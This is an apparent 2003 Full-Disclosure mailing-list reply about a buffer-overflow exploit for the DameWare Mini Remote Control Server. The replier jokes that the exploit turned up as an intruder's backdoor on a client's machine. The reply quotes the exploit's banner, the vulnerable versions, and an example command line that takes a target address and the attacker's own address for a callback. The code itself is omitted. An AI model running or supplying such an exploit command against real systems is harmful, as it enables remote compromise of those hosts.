full-disclosure - [Exploit]: DameWare Mini Remote Control Server Overflow Exploit

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From: ggilliss at netpublishing.com (Gregory A. Gilliss)
Subject: [Exploit]: DameWare Mini Remote Control Server Overflow Exploit

Funny! I have a client who got compromised through another remote access
product (PCAnyWhere) and *this* was the hacker's backdoor! I guess that
I can go back now and try and re-compromise the client using the compromise
of the compromise (oh, dizzy ...) <LOL>

G

On or about 2003.12.19 21:38:25 +0000, Adik (netninja@...mail.kg) said:

> DameWare Mini Remote Control Server Exploit
> 
> C:\xploits\dmware>dmware
> 
>         ...oO DameWare Remote Control Server Overflow Exploit Oo...
> 
>                 -( by Adik netmaniac[at]hotmail.KG )-
> 
>  - Versions vulnerable: <= DWRCS 3.72.0.0
>  - Tested on: DWRCS ver: 3.72.0.0 Win2k SP3 & WinXP SP1
> 
>  Usage: dmware <TargetIP> <TargetPort> <YourIp> <YourPort>
>  eg: dmware 10.0.0.1 6129 10.0.0.2 21
> 
<SNIP> 

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